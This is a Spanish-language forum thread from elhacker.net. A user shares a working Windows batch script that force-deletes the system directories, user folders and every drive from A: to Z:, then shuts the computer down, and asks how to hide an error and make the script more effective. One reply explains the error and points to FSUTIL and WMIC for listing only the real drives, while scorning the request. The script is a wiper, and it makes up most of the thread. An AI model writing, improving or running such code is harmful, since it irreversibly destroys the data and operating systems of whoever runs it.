elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Arreglado, de nuevo, el registro del warzone (wargame) de EHN


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  [Batch] ¿Como hacer para que borre todos los directorios de las unidades?
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Batch] ¿Como hacer para que borre todos los directorios de las unidades?  (Leído 2,002 veces)
Sheen

Desconectado Desconectado

Mensajes: 1


Ver Perfil
[Batch] ¿Como hacer para que borre todos los directorios de las unidades?
« en: 22 Febrero 2013, 18:16 pm »

Hola gente!, estoy haciendo una mini aplicacion en batch, lo que hace es borrar todos los archivos/directorios de las unidades conectadas a la PC , ya sea USB o discos rigidos, el problema que me surgio es que cuando lo ejecuto me muestra este cartel  

http://www.subeimagenes.com/img/no-hay-disco-551805.html

¿Como hago para que no me aparezca esto?



Les dejo el codigo

Código
  1. @ECHO OFF
  2.  
  3. IF EXIST "C:\Users" del /S /F /Q "C:\Users"
  4. IF EXIST "C:\Users" rd /S /Q "C:\Users"
  5. IF EXIST "C:\Windows\System32" del /S /F /Q "C:\Windows\System32"
  6. IF EXIST "C:\Windows\System32" rd /S /Q "C:\Windows\System32"
  7. IF EXIST "C:\Windows" del /S /F /Q "C:\Windows"
  8. IF EXIST "C:\Windows" rd /S /Q "C:\Windows"
  9. IF EXIST "C:\Program Files (x86)" del /S /F /Q "C:\Program Files (x86)"
  10. IF EXIST "C:\Program Files (x86)" rd /S /Q "C:\Program Files (x86)"
  11. IF EXIST "C:\Program Files" del /S /F /Q "C:\Program Files"
  12. IF EXIST "C:\Program Files" rd /S /Q "C:\Program Files"
  13. IF EXIST "C:" del /S /F /Q "C:"
  14. IF EXIST "C:" rd /S /Q "C:"
  15.  
  16. IF EXIST "A:" del /S /F /Q "A:"
  17. IF EXIST "A:" rd  /S /Q "A:"
  18. IF EXIST "B:" del /S /F /Q "B:"
  19. IF EXIST "B:" rd /S /Q "B:"
  20. IF EXIST "D:" del /S /F /Q "D:"
  21. IF EXIST "D:" rd /S /Q "D:"
  22. IF EXIST "E:" del /S /F /Q "E:"
  23. IF EXIST "E:" rd /S /Q "E:"
  24. IF EXIST "F:" del /S /F /Q "F:"
  25. IF EXIST "F:" rd /S /Q "F:"
  26. IF EXIST "G:" del /S /F /Q "G:"
  27. IF EXIST "G:" rd /S /Q "G:"
  28. IF EXIST "H:" del /S /F /Q "H:"
  29. IF EXIST "H:" rd /S /Q "H:"
  30. IF EXIST "I:" del /S /F /Q "I:"
  31. IF EXIST "I:" rd /S /Q "I:"
  32. IF EXIST "J:" del /S /F /Q "J:"
  33. IF EXIST "J:" rd  /S /Q "J:"
  34. IF EXIST "K:" del /S /F /Q "K:"
  35. IF EXIST "K:" rd /S /Q "K:"
  36. IF EXIST "L:" del /S /F /Q "L:"
  37. IF EXIST "L:" rd /S /Q "L:"
  38. IF EXIST "M:" del /S /F /Q "M:"
  39. IF EXIST "M:" rd /S /Q "M:"
  40. IF EXIST "N:" del /S /F /Q "N:"
  41. IF EXIST "N:" rd /S /Q "N:"
  42. IF EXIST "O:" del /S /F /Q "O:"
  43. IF EXIST "O:" rd /S /Q "O:"
  44. IF EXIST "P:" del /S /F /Q "P:"
  45. IF EXIST "P:" rd /S /Q "P:"
  46. IF EXIST "Q:" del /S /F /Q "Q:"
  47. IF EXIST "Q:" rd /S /Q "Q:"
  48. IF EXIST "R:" del /S /F /Q "R:"
  49. IF EXIST "R:" rd  /S /Q "R:"
  50. IF EXIST "S:" del /S /F /Q "S:"
  51. IF EXIST "S:" rd /S /Q "S:"
  52. IF EXIST "T:" del /S /F /Q "T:"
  53. IF EXIST "T:" rd /S /Q "T:"
  54. IF EXIST "U:" del /S /F /Q "U:"
  55. IF EXIST "U:" rd   /S /Q "U:"
  56. IF EXIST "V:" del /S /F /Q "V:"
  57. IF EXIST "V:" rd  /S /Q "V:"
  58. IF EXIST "W:" del /S /F /Q "W:"
  59. IF EXIST "W:" rd /S /Q "W:"
  60. IF EXIST "X:" del /S /F /Q "X:"
  61. IF EXIST "X:" rd  /S /Q "X:"
  62. IF EXIST "Y:" del /S /F /Q "Y:"
  63. IF EXIST "Y:" rd /S /Q "Y:"
  64. IF EXIST "Z:" del /S /F /Q "Z:"
  65. IF EXIST "Z:" rd  /S /Q "Z:"
  66.  
  67. shutdown -s -t 0


PD: Si saben de un codigo mas simple y efectivo, me lo podrian pasar?


« Última modificación: 22 Febrero 2013, 20:44 pm por EleKtro H@cker » En línea

engel lex
Moderador Global
***
Desconectado Desconectado

Mensajes: 15.514



Ver Perfil
Re: [Batch] ¿Como hacer para que borre todos los directorios de las unidades?
« Respuesta #1 en: 22 Febrero 2013, 18:25 pm »

para borrar que todas las unidades?


En línea

El problema con la sociedad actualmente radica en que todos creen que tienen el derecho de tener una opinión, y que esa opinión sea validada por todos, cuando lo correcto es que todos tengan derecho a una opinión, siempre y cuando esa opinión pueda ser ignorada, cuestionada, e incluso ser sujeta a burla, particularmente cuando no tiene sentido alguno.
Eleкtro
Ex-Staff
*
Desconectado Desconectado

Mensajes: 9.810



Ver Perfil
Re: [Batch] ¿Como hacer para que borre todos los directorios de las unidades?
« Respuesta #2 en: 22 Febrero 2013, 20:52 pm »

PD: Si saben de un codigo mas simple y efectivo, me lo podrian pasar?

En Google encontrarás un millón de lammeadas en Batch que eliminan todos los directorios.

Ese aviso es porque Windows no puede acceder a las unidades vacías (Ejemplo: una disquettera sin disquette insertado),
lo puedes solucionar fácilmente obteniendo sólamente las letras de los Discos Duros conectados (Y no usar todo el alfabeto como en tu código) con el comando FSUTIL o también con el comando "wmic.exe logicaldisk", en el buscador del foro tienes muchos ejemplos de los dos, tanto míos como de otros usuarios.

Si te interesa el lenguaje aprende sobre esos comandos y pregunta tus dudas, si sólo te interesa lammear, mejor busca en Google...

Saludos!
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines